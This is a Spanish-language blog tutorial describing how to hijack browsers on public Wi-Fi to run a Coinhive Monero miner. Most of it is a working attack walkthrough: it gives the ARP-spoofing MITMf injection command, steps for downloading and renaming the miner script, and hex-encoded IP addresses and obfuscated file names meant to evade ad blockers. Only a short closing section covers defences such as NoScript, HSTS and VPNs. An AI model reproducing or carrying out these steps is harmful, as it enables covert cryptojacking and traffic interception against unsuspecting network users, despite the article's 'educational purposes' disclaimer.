Cómo hacen mineros de Coinhive en puntos de acceso público a Wi-Fi

Estimado de lectura : 10 minutes

Coinhive, un minero de criptomonedas escrito en JavaScript, fue descubierto en el sitio web de teléfonos inteligentes   BlackBerry Mobile . Fue introducido allí por piratas informáticos que aprovecharon una vulnerabilidad en el software del sitio, lo que les permitió extraer criptomonedas de forma anónima cada vez que visitaban un sitio web. Sin lugar a dudas, Coinhive es un método de minería completamente innovador utilizado por hackers in vivo.

Cómo funciona Coinhive y cómo fue explotado

Coinhive es un minero de criptomonedas ordinario que los administradores u operadores de sitios web pueden incorporar en sus sitios web. Cuando los usuarios visitan los sitios donde está alojado el minero Coinhive, JavaScript lanza este minero directamente en el navegador del usuario en segundo plano. Para la minería, se utilizará el procesador de la computadora del usuario.

Esta herramienta fue desarrollada como un método alternativo para generar ingresos para los administradores de sitios web. Su idea principal era deshacerse de los feos banners publicitarios que ocupan un lugar en el sitio, cuya pantalla los usuarios aún bloquean usando varios bloqueadores de anuncios (adblock). En lugar de Bitcoin (BTC) u otras criptomonedas populares, Coinhive mineros  Monero (XMR), que en el momento de escribir este artículo cuesta aproximadamente 35 veces menos que Bitcoin, pero aún se encuentra entre las diez criptomonedas más caras  (a un precio por moneda).

Coinhive en sí es una empresa bastante respetuosa de la ley, pero los eventos recientes han demostrado la facilidad con la que los hackers pueden usar su tecnología de minería usando JavaScript para obtener rápidamente un par de cryptobucks.

El caso de BlackBerry es en realidad solo uno de los muchos casos en que los piratas informáticos o los proveedores de Internet han utilizado la tecnología Coinhive para sus propósitos egoístas y dañinos. En octubre,  TrendMicro descubrió varias aplicaciones en Google Play Store que utilizaban la tecnología de minería Coinhive para extraer criptomonedas en secreto del usuario. También hubo informes de mineros de Coinhive integrados en el sitio web de Starbuck , que fue publicado allí por el propio ISP.

Cómo se puede explotar una vulnerabilidad en Coinhive

Hay varios proyectos en GitHub, como  CoffeeMiner , diseñados para llevar a cabo ataques man-in-the-middle (MitM) para inyectar mineros de Coinhive en navegadores web conectados a puntos de acceso Wi-Fi públicos. Sin embargo, a juzgar por nuestra experiencia con los ataques MitM, creemos que sería mucho más fácil usar una herramienta como el Marco del hombre en el medio (MITMf) para lograr los mismos resultados con un solo comando. MITMf es una gran herramienta diseñada para hacer que los ataques de MitM sean lo más simples posible.

En nuestro artículo, utilizaremos MITMf para incrustar el código JavaScript de Coinhive miner en otros navegadores ubicados en la misma red Wi-Fi. Esto nos permitirá incrustar mineros de JavaScript en páginas web que contienen visitantes desprevenidos de cafés cuando navegan por Internet.

Antes de comenzar, vale la pena señalar que Coinhive prohibirá cualquier cuenta si se descubre que el propietario de esta cuenta está utilizando el minero de JavaScript de manera no autorizada, por ejemplo,  mediante piratería  . Por lo tanto, le recomendamos que use este artículo solo con fines educativos.

Paso 1. Instalar MITMf

Instalaremos MITMf en Kali Linux usando apt-get. Simplemente ingrese este comando en la terminal. Si desea instalar MITMf desde la fuente, entonces tenemos una excelente guía en nuestro sitio o consulte las instrucciones para compilar  GitHub .

sudo apt-get install mitmf

Eso es todo para instalar MitMF. Después de la instalación, no hay necesidad de configurarlo de alguna manera, así que vayamos directamente a crear una cuenta en Coinhive.

Paso 2. Crea una cuenta en Coinhive

Ahora que hemos instalado MitMF,  vaya a la página de registro de Coinhive y cree una cuenta. No tienen requisitos especiales para registrar una cuenta; todos pueden registrarse en unos segundos.

El proceso de registro es muy rápido y fácil. Después del registro, verifique su correo electrónico: debe recibir un correo electrónico para confirmar el registro. Después de la confirmación, vaya a su cuenta. Necesitará encontrar una clave única para el sitio, que sea única y que se debe utilizar para cada sitio web donde trabajan los mineros de JavaScript. Sin embargo, no usaremos Coinhive de la manera habitual, por lo que solo necesitamos una clave de sitio.

Para encontrar la clave del sitio, vaya a la página Sitios y claves de API. La clave del sitio que utilizaremos se encuentra a la derecha de la etiqueta “Clave del sitio (pública)”. Asegúrese de copiarlo en alguna parte.

Cualquiera que use bloqueadores de anuncios como  uBlock Origin verá que la página de Coinhive se ve rota y distorsionada. UBlock Origin es uno de los bloqueadores de anuncios más populares y actualmente está en la lista negra de coinhive.com. Este es sin duda el resultado de los hackers que abusan de la tecnología Coinhive. Si está utilizando uBlock Origin, simplemente desactívelo.

Los problemas con los bloqueadores de anuncios como este indican que debemos tomar ciertos pasos adicionales para asegurarnos de que los bloqueadores de anuncios no bloqueen el lanzamiento de los mineros de Coinhive en los navegadores de las víctimas. La mayoría de los bloqueadores filtrarán los nombres de dominio, como coinhive.com, que según se informa contienen código malicioso. Ofuscar el nombre de dominio y el nombre del archivo JavaScript también será importante para el éxito de este ataque.

Paso 3. Omitir bloqueadores de anuncios

En primer lugar, vaya a la  página de documentación de Coinhive, donde obtenemos una mejor idea del código JavaScript que integraremos en los navegadores de las víctimas. El siguiente es un minero de JavaScript en su forma más simple.

<script src = "  https://coinhive.com/lib/coinhive.min.js  "> </ script> 
<script> 
var miner = new CoinHive.Anonymous ('SU-SITIO-CLAVE-AQUÍ'); 
miner.start (); 
</script>

La primera línea del script (“script src”) indica a los navegadores de la víctima que descarguen el archivo .js del sitio web de Coinhive. La línea “var miner” le dice a Coinhive qué cuenta está minando Monero, y la línea “miner.start” le dice a los navegadores de las víctimas que comiencen a minar inmediatamente. Para evitar los bloqueadores de anuncios, debemos centrarnos en ofuscar el dominio coinhive.com y el nombre del archivo .js.

Solo tenga en cuenta que incluso el uso de los pasos 4 y 5 de nuestro artículo puede no evitar todos los bloqueadores de anuncios. El minero trabaja de tal manera que debe informar al servidor que ha completado su parte del trabajo (Prueba de trabajo), de lo contrario, la minería no tiene ningún sentido. Dado que el servidor Coinhive se indica directamente en el código fuente para realizar tales solicitudes, los bloqueadores de anuncios que bloquean en el nivel DNS aún pueden bloquear las solicitudes de “prueba de trabajo” al servidor, lo que dificulta cobrar criptomonedas para una cuenta específica. Sin embargo, esos bloqueadores que solo se bloquean en el nivel de las etiquetas HTML casi siempre se pueden evitar.

Paso 4. Modificar el archivo JavaScript

Primero, cree un directorio temporal en nuestro dispositivo para guardar localmente el archivo JavaScript de Coinhive. Usando el comando mkdir, cree un subdirectorio coinhive-js en el directorio / tmp. Luego vaya al nuevo directorio coinhive-js usando el comando cd.

mkdir / tmp / coinhive-js
 cd / tmp / coinhive-js

Cuando haya terminado, descargue el archivo JavaScript de  Coinhive  . Es a él a quien implementaremos en el navegador de la víctima. En sistemas tipo Unix, podemos usar wget directamente desde el terminal.

wget https://coinhive.com/lib/coinhive.min.js

Ahora cambie el nombre del archivo para la omisión posterior del trabajo de los bloqueadores de anuncios. Usar una cadena aleatoria que es poco probable que se encuentre en la base de datos de bloqueadores es una gran idea para este tipo de ataque. Para generar cadenas aleatorias, podemos usar fácilmente el equipo de OpenSSL. En la terminal, ingrese:

openssl rand -hex 16

El número 16 le dice a OpenSSL que genere 16 caracteres aleatorios. Si desea generar una cadena más larga, simplemente aumente el valor a su gusto. Luego podemos cambiar el nombre del archivo “coinhive.min.js” con el comando mv:

mv coinhive.min.js your_random_string.js

En esta demostración, no nos molestaremos en generar un nombre verdaderamente aleatorio. Simplemente presionando al azar letras y números en el teclado será suficiente.

Finalmente, necesitamos colocar el archivo JavaScript para que los navegadores de las víctimas en nuestra red Wi-Fi puedan descargarlo. Para esto usaremos un comando simple en python3.

python3 -m http.server 80

Http.server es el módulo del servidor HTTP Python3 que ejecutaremos con la opción -m. El número 80 es el número de puerto en el que escuchará el servidor HTTP. Podemos verificar que nuestro servidor Python3 esté en funcionamiento yendo a la dirección “http://127.0.0.1:80/>http://127.0.0.1:80 en nuestro navegador. 127.0.0.1 es la dirección local de nuestra computadora. Esta dirección se usa generalmente para alojar servicios (por ejemplo, servidores HTTP) en nuestras computadoras.

Paso 5. Ofuscación de URL

Ahora que tenemos un archivo JavaScript listo, hablemos sobre la ofuscación de URL usando la codificación hexadecimal. Podemos sortear fácilmente los filtros de bloqueo de anuncios codificando nuestra dirección IP local. Por ejemplo, ir a la dirección “http: // 0xC0A80001 /” http: // 0xC0A80001 en su navegador lo llevará a la dirección http://192.168.0.1. Nuestros navegadores pueden entender e interpretar cadenas hexadecimales como si fueran texto sin formato.

Existen  herramientas en línea para convertir direcciones IP en cadenas hexadecimales, y esta es la forma más fácil de hacer esas cosas. Primero encuentre su dirección IP usando el comando ifconfig.

ifconfig wlan0

Su dirección IP local probablemente se verá como 192.168.0.2 o 192.168.1.10. Cuando se entere, ingrese su dirección IP en el campo correspondiente del sitio web que realiza esta conversión hexadecimal (“https://www.miniwebtool.com/ip-address-to-hex-converter/” https: // www. miniwebtool.com/ip-address-to-hex-converter/), y obtenga su representación hexadecimal.

Ahora vamos a poner todo junto! El JavaScript de Coinhive se usa nuevamente aquí, pero con una dirección IP hexadecimal y un nombre de archivo ofuscado:

<script src = "https: //0x0A989811/ghfldghfsdhglfsdhgfd.js"> </script>
<script>
var miner = new CoinHive.Anonymous ('SU-SITIO-CLAVE-AQUÍ');
miner.start ();
</script>

Guarde localmente estas 5 líneas de código en un archivo, ya que tendremos que incrustarlo en los navegadores de las víctimas utilizando MITMf. Puede usar su editor de texto favorito para guardar JavaScript o ingresar el siguiente comando en el terminal:

nano /tmp/coinhive-js/miner.js

Lo guardaremos en el directorio coinhive-js, que creamos anteriormente como miner.js. Presione Ctrl + X en su teclado para salir de nano, luego presione Y e Intro para guardar el archivo.

Paso 6. Implementando el minero en los navegadores

Ya tenemos instalado MITMf, una cuenta de Coinhive está registrada, una carga útil en forma de un archivo JavaScript ofuscado también está disponible. Ahora veamos cómo se puede usar todo esto realmente.

Para usar MitMF, ejecute el siguiente comando en la consola:

mitmf -i wlan0 --inject --js-file /tmp/coinhive-js/miner.js --arp --spoof --gateway 192.168.0.1

-i le dice a MITMf qué interfaz de red estamos atacando, y wlan0 es la interfaz inalámbrica Kali Linux (Wi-Fi) predeterminada. La dirección de la puerta de enlace 192.168.0.1 es la dirección IP local del enrutador Wi-Fi. 192.168.0.1 es la dirección de puerta de enlace más utilizada. Para encontrar la dirección IP local de su enrutador, puede intentar ejecutar el comando route -n en el terminal. En la columna “Puerta de enlace”, debería ver algo como “192.168.XX”

Tan pronto como lancemos el ataque MitM, todos los dispositivos conectados a nuestra red Wi-Fi tendrán nuestro código JavaScript incrustado en las páginas de los sitios donde se encuentran los usuarios en el momento del ataque. Nos enteramos de que los navegadores de las víctimas fueron sometidos a nuestro ataque MitM cuando el terminal MITMf informa “Archivo JS inyectado: ejemplo.com”.

Podemos ver claramente que alguien usa el navegador Google Chrome en el sistema operativo Windows, se encuentra en stackoverflow.com y también nuestra carga útil de JavaScript incrustada en su navegador. Su navegador comenzará a extraer Monero de inmediato y lo hará hasta que se cierre la pestaña del navegador con stackoverflow.com.

Si examinamos cuidadosamente el navegador de la víctima, podemos ver que nuestra carga útil en forma de código Coinhive JavaScript estaba completamente incrustada en la parte inferior de la página web stackoverflow.com que abrió sin su conocimiento.

También puede notar que hemos instalado los tres bloqueadores de anuncios más populares en Chrome Web Store. Y ninguno de ellos interpretó dicha actividad como maliciosa o maliciosa.

Después de agregar el minero de JavaScript al navegador de la víctima, puede desactivar MITMf por completo para detener el ataque. Coinhive JavaScript continuará minando en el navegador web de la víctima. Si la víctima abandona la cafetería y la pestaña del navegador está abierta, el código JavaScript de Coinhive continuará funcionando la próxima vez que se vuelva a conectar a esta red Wi-Fi. El minero Coinhive funcionará hasta que la víctima cierre la pestaña del navegador infectado o hasta que el usuario cierre el navegador web por completo.

Cómo protegerse de los mineros de JavaScript

Quedó claro que los bloqueadores de anuncios no son el método más efectivo para tratar con mineros de JavaScript. Utilizando algunos métodos muy comunes, los mineros de criptomonedas aún pueden ingresar a su navegador web.

La mejor manera de evitar el uso de código JavaScript malicioso en su navegador es deshabilitar completamente JavaScript. Active y use JavaScript solo cuando sea absolutamente necesario. A menudo, los profesionales de seguridad recomiendan NoScript y actualmente es la forma más conveniente de habilitar JavaScript rápidamente, según sea necesario. El navegador Opera también tiene una función  NoCoin , que bloquea los scripts para extraer criptomonedas en páginas web. Por lo tanto, esta es una opción de navegador muy interesante si no te gusta Chrome, Safari, Edge, etc. Sin embargo, hay  algunas extensiones de navegador  que hacen algo similar. Si no desea bloquear JavaScript, a menudo puede verificar la carga de su procesador para ver si hay ráfagas de carga sospechosas que puedan indicar una extracción en segundo plano. En una computadora con Windows, puede usar el Administrador de tareas, y en las computadoras Mac será un Monitor de actividad. También puede simplemente verificar la barra de direcciones del navegador. Si está en un sitio que tiene un bloqueo con HTTPS en la esquina superior izquierda, lo más probable es que no esté expuesto a un ataque MitM. Muchos sitios web se agregan a las listas HSTS de precarga del navegador, lo que significa que incluso si el ataque MitM intenta interceptar los encabezados HSTS y redirigir la solicitud a HTTP en lugar de HTTPS, el navegador no hará esto porque sabe que solo necesita comunicarse dominios usando https. Por lo tanto, los hacks descritos anteriormente con el minero Coinhive en dichos sitios ya no funcionarán. Puede verificar si el sitio está en la lista de precarga de HSTS del navegador ingresando el nombre del dominio raíz en la herramienta en  línea . Otra medida que puede tomar para protegerse de los ataques de MitM cuando usa redes públicas es usar una red privada virtual (VPN). Al usar una VPN, no bloqueará el script minero servido en el servidor, evitará el ataque MitM en un punto de acceso específico. Si usa un bloqueador de anuncios, asegúrese de usar uno que funcione a nivel de DNS, y no solo a nivel de etiquetas HTML. Aunque esto no necesariamente evita que su computadora se convierta en minero, al menos no permitirá que los piratas informáticos obtengan al menos alguna recompensa.

¿Qué tan rentable es la minería de JavaScript?

Los lectores interesados ​​en la rentabilidad de la minería Coinhive pueden encontrar el artículo de Maxence Cornet  Medium . Maxens intentó varias veces usar Coinhive en su sitio web para reemplazar los anuncios de banner tradicionales con Coinhive JavaScript miner. Él dice con 1,000 visitas al sitio web por día:

"Hice 0.00947 XMR en 60 horas, la friolera de $ 0.89, eso es $ 0.36 por día"

No son los resultados más impresionantes, pero, sin duda, la minería de criptomonedas con Coinhive se ha vuelto muy popular entre los piratas informáticos, ya que este método es muy fácil de usar. Esto puede no ser muy rentable cuando se usa en sitios pequeños, pero imagine un minero de Coinhive trabajando en cada página de Facebook o Google. Pero esto puede suceder.

Si tiene alguna pregunta o duda, no dude en dejar sus comentarios.

Descargo de responsabilidad : este artículo está escrito solo con fines educativos. El autor o editor no publicó este artículo con fines maliciosos. Si los lectores desean utilizar la información para beneficio personal, el autor y el editor no son responsables de ningún daño o daño causado.

Sé el primero en comentar

Deja un comentario o una pregunta, gracias por visitarme.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.